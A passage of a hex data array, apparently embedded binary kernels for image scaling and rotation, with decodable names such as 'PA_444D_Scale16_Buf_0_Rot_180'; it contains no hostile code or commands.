0x00001260, 0xbfff0023, 0x00001260, 0xbfff0024, 0x00001260, 0xbfff0025, 0x00001260, 0xbfff0026,
0x00001260, 0xbfff0027, 0x00001260, 0xbfff0028, 0x00001260, 0xbfff0029, 0x00001260, 0xbfff002a,
0x00001260, 0xbfff002b, 0x00001260, 0xbfff002c, 0x00001260, 0xbfff002d, 0x00001260, 0xbfff002e,
0x00001260, 0xbfff002f, 0x00001260, 0xbfff0030, 0x00001260, 0xbfff0031, 0x00001260, 0xbfff0032,
0x00001260, 0xbfff0033, 0x00001260, 0xbfff0034, 0x00001260, 0xbfff0035, 0x00001260, 0xbfff0036,
0x00001260, 0xbfff0037, 0x00001260, 0xbfff0038, 0x00001260, 0xbfff0039, 0x00001260, 0xbfff003a,
0x00001260, 0xbfff003b, 0x00001260, 0xbfff003c, 0x00001260, 0xbfff003d, 0x00001260, 0xbfff003e,
0x00001260, 0xbfff003f, 0x00001260, 0xbfff0040, 0x00001260, 0xbfff0041, 0x00001260, 0xbfff0042,
0x00001260, 0xbfff0043, 0x00001260, 0xbfff0044, 0x00001260, 0xbfff0045, 0x00001260, 0xbfff0046,
0x00001260, 0xbfff0047, 0x00001260, 0xbfff0048, 0x00001260, 0xbfff0049, 0x00001260, 0xbfff004a,
0x00001260, 0xbfff004b, 0x00001260, 0xbfff004c, 0x00001260, 0xbfff004d, 0x00001260, 0xbfff004e,
0x00001260, 0xbfff004f, 0x00001260, 0xbfff0050, 0x00001260, 0xbfff0051, 0x00001260, 0xbfff0052,
0x00001260, 0xbfff0053, 0x00001260, 0xbfff0054, 0x00001260, 0xbfff0055, 0x00001260, 0xbfff0056,
0x00001260, 0xbfff0057, 0x00001260, 0xbfff0058, 0x00001260, 0xbfff0059, 0x00001260, 0xbfff005a,
0x00001260, 0xbfff005b, 0x00001260, 0xbfff005c, 0x00001260, 0xbfff005d, 0x00001260, 0xbfff005e,
0x00001260, 0xbfff005f, 0x00001260, 0xbfff0060, 0x00001260, 0xbfff0061, 0x00001260, 0xbfff0062,
0x00001260, 0xbfff0063, 0x00001260, 0xbfff0064, 0x00001260, 0xbfff0065, 0x00001260, 0xbfff0066,
0x00001260, 0xbfff0067, 0x00001260, 0xbfff0068, 0x00001260, 0xbfff0069, 0x00001270, 0x3fff007f,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000000f, 0x00000005, 0x00000001, 0x0000003c,
0x000003b0, 0x00000006, 0x00000001, 0x000003ec, 0x000003b0, 0x00000007, 0x00000001, 0x0000079c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001e0, 0x3fff0005,
0x00000210, 0x3fff0002, 0x00000240, 0x3fff0000, 0x00000270, 0x3fff0006, 0x00000520, 0xbfff000a,
0x00000550, 0xbfff0012, 0x00000580, 0xbfff000c, 0x000005b0, 0xbfff0014, 0x000005e0, 0xbfff000e,
0x00000610, 0xbfff0016, 0x00000640, 0xbfff0010, 0x00000680, 0x3fff007c, 0x00000690, 0xbfff0018,
0x000006a0, 0x3fff007b, 0x000006a0, 0x3fff0003, 0x000006d0, 0x3fff0004, 0x00000850, 0x0005006d,
0x00000850, 0x0005006e, 0x00000850, 0x0005006f, 0x00000850, 0x00050070, 0x00000850, 0x00050071,
0x00000890, 0x3fff0072, 0x000008b0, 0xbfff000b, 0x000008c0, 0x3fff0073, 0x000008e0, 0xbfff0013,
0x000008f0, 0x3fff0074, 0x00000910, 0xbfff000d, 0x00000920, 0x3fff0075, 0x00000940, 0xbfff0015,
0x00000950, 0x3fff0076, 0x00000970, 0xbfff000f, 0x00000980, 0x3fff0077, 0x000009a0, 0xbfff0017,
0x000009b0, 0x3fff0078, 0x000009d0, 0xbfff0011, 0x000009e0, 0x3fff007a, 0x000009e0, 0x3fff0079,
0x00000a00, 0x3fff006c, 0x00000a00, 0xbfff0019, 0x00000a20, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f30, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001b0, 0x3fff0000, 0x00000250, 0x3fff0006, 0x00000260, 0x3fff0002, 0x000002a0, 0x3fff0005,
0x00000530, 0xbfff000a, 0x00000560, 0xbfff0012, 0x00000590, 0xbfff000c, 0x000005c0, 0xbfff0014,
0x000005f0, 0xbfff000e, 0x00000620, 0xbfff0016, 0x00000650, 0xbfff0010, 0x00000690, 0x3fff007c,
0x000006a0, 0xbfff0018, 0x000006b0, 0x3fff007b, 0x000006b0, 0x3fff0003, 0x000006e0, 0x3fff0004,
0x00000860, 0x0005006d, 0x00000860, 0x0005006e, 0x00000860, 0x0005006f, 0x00000860, 0x00050070,
0x00000860, 0x00050071, 0x000008a0, 0x3fff0072, 0x000008c0, 0xbfff000b, 0x000008d0, 0x3fff0073,
0x000008f0, 0xbfff0013, 0x00000900, 0x3fff0074, 0x00000920, 0xbfff000d, 0x00000930, 0x3fff0075,
0x00000950, 0xbfff0015, 0x00000960, 0x3fff0076, 0x00000980, 0xbfff000f, 0x00000990, 0x3fff0077,
0x000009b0, 0xbfff0017, 0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0011, 0x000009f0, 0x3fff007a,
0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0019, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f30, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000,
0x00000550, 0xbfff000a, 0x00000580, 0xbfff0012, 0x000005b0, 0xbfff000c, 0x000005e0, 0xbfff0014,
0x00000610, 0xbfff000e, 0x00000640, 0xbfff0016, 0x00000670, 0xbfff0010, 0x000006c0, 0xbfff0018,
0x000006d0, 0x3fff0003, 0x000006e0, 0x3fff007c, 0x000006f0, 0x3fff007b, 0x000006f0, 0x3fff0004,
0x00000870, 0x0005006d, 0x00000870, 0x0005006e, 0x00000870, 0x0005006f, 0x00000870, 0x00050070,
0x00000870, 0x00050071, 0x000008b0, 0x3fff0072, 0x000008d0, 0xbfff000b, 0x000008e0, 0x3fff0073,
0x00000900, 0xbfff0013, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff000d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0015, 0x00000970, 0x3fff0076, 0x00000990, 0xbfff000f, 0x000009a0, 0x3fff0077,
0x000009c0, 0xbfff0017, 0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0011, 0x00000a00, 0x3fff007a,
0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0019, 0x00000a40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f30, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006, 0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000520, 0xbfff000a, 0x00000550, 0xbfff0012, 0x00000580, 0xbfff000c, 0x000005b0, 0xbfff0014,
0x000005e0, 0xbfff000e, 0x00000610, 0xbfff0016, 0x00000640, 0xbfff0010, 0x00000690, 0xbfff0018,
0x000006a0, 0x3fff0003, 0x000006b0, 0x3fff007c, 0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0004,
0x00000840, 0x0005006d, 0x00000840, 0x0005006e, 0x00000840, 0x0005006f, 0x00000840, 0x00050070,
0x00000840, 0x00050071, 0x00000880, 0x3fff0072, 0x000008a0, 0xbfff000b, 0x000008b0, 0x3fff0073,
0x000008d0, 0xbfff0013, 0x000008e0, 0x3fff0074, 0x00000900, 0xbfff000d, 0x00000910, 0x3fff0075,
0x00000930, 0xbfff0015, 0x00000940, 0x3fff0076, 0x00000960, 0xbfff000f, 0x00000970, 0x3fff0077,
0x00000990, 0xbfff0017, 0x000009a0, 0x3fff0078, 0x000009c0, 0xbfff0011, 0x000009d0, 0x3fff007a,
0x000009d0, 0x3fff0079, 0x000009f0, 0x3fff006c, 0x000009f0, 0xbfff0019, 0x00000a10, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x00000031, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009,
0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x000001f0, 0x3fff0005,
0x00000220, 0x3fff0002, 0x00000250, 0x3fff0000, 0x00000280, 0x3fff0006, 0x00000540, 0xbfff001a,
0x00000570, 0xbfff0022, 0x000005a0, 0xbfff001c, 0x000005d0, 0xbfff0024, 0x00000600, 0xbfff001e,
0x00000630, 0xbfff0026, 0x00000660, 0xbfff0020, 0x000006a0, 0x3fff007c, 0x000006b0, 0xbfff0028,
0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0003, 0x000006f0, 0x3fff0004, 0x00000870, 0x0005006d,
0x00000870, 0x0005006e, 0x00000870, 0x0005006f, 0x00000870, 0x00050070, 0x00000870, 0x00050071,
0x000008b0, 0x3fff0072, 0x000008d0, 0xbfff001b, 0x000008e0, 0x3fff0073, 0x00000900, 0xbfff0023,
0x00000910, 0x3fff0074, 0x00000930, 0xbfff001d, 0x00000940, 0x3fff0075, 0x00000960, 0xbfff0025,
0x00000970, 0x3fff0076, 0x00000990, 0xbfff001f, 0x000009a0, 0x3fff0077, 0x000009c0, 0xbfff0027,
0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0021, 0x00000a00, 0x3fff007a, 0x00000a00, 0x3fff0079,
0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0029, 0x00000a40, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f31, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001,
0x000001c0, 0x3fff0000, 0x00000260, 0x3fff0006, 0x00000270, 0x3fff0002, 0x000002b0, 0x3fff0005,
0x00000550, 0xbfff001a, 0x00000580, 0xbfff0022, 0x000005b0, 0xbfff001c, 0x000005e0, 0xbfff0024,
0x00000610, 0xbfff001e, 0x00000640, 0xbfff0026, 0x00000670, 0xbfff0020, 0x000006b0, 0x3fff007c,
0x000006c0, 0xbfff0028, 0x000006d0, 0x3fff007b, 0x000006d0, 0x3fff0003, 0x00000700, 0x3fff0004,
0x00000880, 0x0005006d, 0x00000880, 0x0005006e, 0x00000880, 0x0005006f, 0x00000880, 0x00050070,
0x00000880, 0x00050071, 0x000008c0, 0x3fff0072, 0x000008e0, 0xbfff001b, 0x000008f0, 0x3fff0073,
0x00000910, 0xbfff0023, 0x00000920, 0x3fff0074, 0x00000940, 0xbfff001d, 0x00000950, 0x3fff0075,
0x00000970, 0xbfff0025, 0x00000980, 0x3fff0076, 0x000009a0, 0xbfff001f, 0x000009b0, 0x3fff0077,
0x000009d0, 0xbfff0027, 0x000009e0, 0x3fff0078, 0x00000a00, 0xbfff0021, 0x00000a10, 0x3fff007a,
0x00000a10, 0x3fff0079, 0x00000a30, 0x3fff006c, 0x00000a30, 0xbfff0029, 0x00000a50, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f31, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001,
0x000001b0, 0x3fff0002, 0x00000250, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000290, 0x3fff0000,
0x00000580, 0xbfff001a, 0x000005b0, 0xbfff0022, 0x000005e0, 0xbfff001c, 0x00000610, 0xbfff0024,
0x00000640, 0xbfff001e, 0x00000670, 0xbfff0026, 0x000006a0, 0xbfff0020, 0x000006f0, 0xbfff0028,
0x00000700, 0x3fff0003, 0x00000710, 0x3fff007c, 0x00000720, 0x3fff007b, 0x00000720, 0x3fff0004,
0x000008a0, 0x0005006d, 0x000008a0, 0x0005006e, 0x000008a0, 0x0005006f, 0x000008a0, 0x00050070,
0x000008a0, 0x00050071, 0x000008e0, 0x3fff0072, 0x00000900, 0xbfff001b, 0x00000910, 0x3fff0073,
0x00000930, 0xbfff0023, 0x00000940, 0x3fff0074, 0x00000960, 0xbfff001d, 0x00000970, 0x3fff0075,
0x00000990, 0xbfff0025, 0x000009a0, 0x3fff0076, 0x000009c0, 0xbfff001f, 0x000009d0, 0x3fff0077,
0x000009f0, 0xbfff0027, 0x00000a00, 0x3fff0078, 0x00000a20, 0xbfff0021, 0x00000a30, 0x3fff007a,
0x00000a30, 0x3fff0079, 0x00000a50, 0x3fff006c, 0x00000a50, 0xbfff0029, 0x00000a70, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f31, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001,
0x000001a0, 0x3fff0002, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000260, 0x3fff0000,
0x00000550, 0xbfff001a, 0x00000580, 0xbfff0022, 0x000005b0, 0xbfff001c, 0x000005e0, 0xbfff0024,
0x00000610, 0xbfff001e, 0x00000640, 0xbfff0026, 0x00000670, 0xbfff0020, 0x000006c0, 0xbfff0028,
0x000006d0, 0x3fff0003, 0x000006e0, 0x3fff007c, 0x000006f0, 0x3fff007b, 0x000006f0, 0x3fff0004,
0x00000870, 0x0005006d, 0x00000870, 0x0005006e, 0x00000870, 0x0005006f, 0x00000870, 0x00050070,
0x00000870, 0x00050071, 0x000008b0, 0x3fff0072, 0x000008d0, 0xbfff001b, 0x000008e0, 0x3fff0073,
0x00000900, 0xbfff0023, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff001d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0025, 0x00000970, 0x3fff0076, 0x00000990, 0xbfff001f, 0x000009a0, 0x3fff0077,
0x000009c0, 0xbfff0027, 0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0021, 0x00000a00, 0x3fff007a,
0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0029, 0x00000a40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x00000032, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009,
0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001e0, 0x3fff0005,
0x00000210, 0x3fff0002, 0x00000240, 0x3fff0000, 0x00000270, 0x3fff0006, 0x00000530, 0xbfff002a,
0x00000560, 0xbfff0032, 0x00000590, 0xbfff002c, 0x000005c0, 0xbfff0034, 0x000005f0, 0xbfff002e,
0x00000620, 0xbfff0036, 0x00000650, 0xbfff0030, 0x00000690, 0x3fff007c, 0x000006a0, 0xbfff0038,
0x000006b0, 0x3fff007b, 0x000006b0, 0x3fff0003, 0x000006e0, 0x3fff0004, 0x00000860, 0x0005006d,
0x00000860, 0x0005006e, 0x00000860, 0x0005006f, 0x00000860, 0x00050070, 0x00000860, 0x00050071,
0x000008a0, 0x3fff0072, 0x000008c0, 0xbfff002b, 0x000008d0, 0x3fff0073, 0x000008f0, 0xbfff0033,
0x00000900, 0x3fff0074, 0x00000920, 0xbfff002d, 0x00000930, 0x3fff0075, 0x00000950, 0xbfff0035,
0x00000960, 0x3fff0076, 0x00000980, 0xbfff002f, 0x00000990, 0x3fff0077, 0x000009b0, 0xbfff0037,
0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0031, 0x000009f0, 0x3fff007a, 0x000009f0, 0x3fff0079,
0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0039, 0x00000a30, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000028, 0x00000006,
0x00000001, 0x0000006c, 0x00000148, 0x00000007, 0x00000001, 0x000001b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f32, 0x38315f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001b0, 0x3fff0000, 0x00000250, 0x3fff0006, 0x00000260, 0x3fff0002, 0x000002a0, 0x3fff0005,
0x00000540, 0xbfff002a, 0x00000570, 0xbfff0032, 0x000005a0, 0xbfff002c, 0x000005d0, 0xbfff0034,
0x00000600, 0xbfff002e, 0x00000630, 0xbfff0036, 0x00000660, 0xbfff0030, 0x000006a0, 0x3fff007c,
0x000006b0, 0xbfff0038, 0x000006c0, 0x3fff007b, 0x000006c0, 0x3fff0003, 0x000006f0, 0x3fff0004,
0x00000870, 0x0005006d, 0x00000870, 0x0005006e, 0x00000870, 0x0005006f, 0x00000870, 0x00050070,
0x00000870, 0x00050071, 0x000008b0, 0x3fff0072, 0x000008d0, 0xbfff002b, 0x000008e0, 0x3fff0073,
0x00000900, 0xbfff0033, 0x00000910, 0x3fff0074, 0x00000930, 0xbfff002d, 0x00000940, 0x3fff0075,
0x00000960, 0xbfff0035, 0x00000970, 0x3fff0076, 0x00000990, 0xbfff002f, 0x000009a0, 0x3fff0077,
0x000009c0, 0xbfff0037, 0x000009d0, 0x3fff0078, 0x000009f0, 0xbfff0031, 0x00000a00, 0x3fff007a,
0x00000a00, 0x3fff0079, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0039, 0x00000a40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f32, 0x37325f74, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x000001a0, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000280, 0x3fff0000,
0x00000570, 0xbfff002a, 0x000005a0, 0xbfff0032, 0x000005d0, 0xbfff002c, 0x00000600, 0xbfff0034,
0x00000630, 0xbfff002e, 0x00000660, 0xbfff0036, 0x00000690, 0xbfff0030, 0x000006e0, 0xbfff0038,
0x000006f0, 0x3fff0003, 0x00000700, 0x3fff007c, 0x00000710, 0x3fff007b, 0x00000710, 0x3fff0004,
0x00000890, 0x0005006d, 0x00000890, 0x0005006e, 0x00000890, 0x0005006f, 0x00000890, 0x00050070,
0x00000890, 0x00050071, 0x000008d0, 0x3fff0072, 0x000008f0, 0xbfff002b, 0x00000900, 0x3fff0073,
0x00000920, 0xbfff0033, 0x00000930, 0x3fff0074, 0x00000950, 0xbfff002d, 0x00000960, 0x3fff0075,
0x00000980, 0xbfff0035, 0x00000990, 0x3fff0076, 0x000009b0, 0xbfff002f, 0x000009c0, 0x3fff0077,
0x000009e0, 0xbfff0037, 0x000009f0, 0x3fff0078, 0x00000a10, 0xbfff0031, 0x00000a20, 0x3fff007a,
0x00000a20, 0x3fff0079, 0x00000a40, 0x3fff006c, 0x00000a40, 0xbfff0039, 0x00000a60, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001c0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
0x5f667542, 0x6f525f32, 0x30395f74, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000210, 0x3fff0006, 0x00000220, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000540, 0xbfff002a, 0x00000570, 0xbfff0032, 0x000005a0, 0xbfff002c, 0x000005d0, 0xbfff0034,
0x00000600, 0xbfff002e, 0x00000630, 0xbfff0036, 0x00000660, 0xbfff0030, 0x000006b0, 0xbfff0038,
0x000006c0, 0x3fff0003, 0x000006d0, 0x3fff007c, 0x000006e0, 0x3fff007b, 0x000006e0, 0x3fff0004,
0x00000860, 0x0005006d, 0x00000860, 0x0005006e, 0x00000860, 0x0005006f, 0x00000860, 0x00050070,
0x00000860, 0x00050071, 0x000008a0, 0x3fff0072, 0x000008c0, 0xbfff002b, 0x000008d0, 0x3fff0073,
0x000008f0, 0xbfff0033, 0x00000900, 0x3fff0074, 0x00000920, 0xbfff002d, 0x00000930, 0x3fff0075,
0x00000950, 0xbfff0035, 0x00000960, 0x3fff0076, 0x00000980, 0xbfff002f, 0x00000990, 0x3fff0077,
0x000009b0, 0xbfff0037, 0x000009c0, 0x3fff0078, 0x000009e0, 0xbfff0031, 0x000009f0, 0x3fff007a,
0x000009f0, 0x3fff0079, 0x00000a10, 0x3fff006c, 0x00000a10, 0xbfff0039, 0x00000a30, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001d, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000148, 0x00000007, 0x00000001, 0x000001bc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x44343434, 0x6c616353, 0x5f363165,
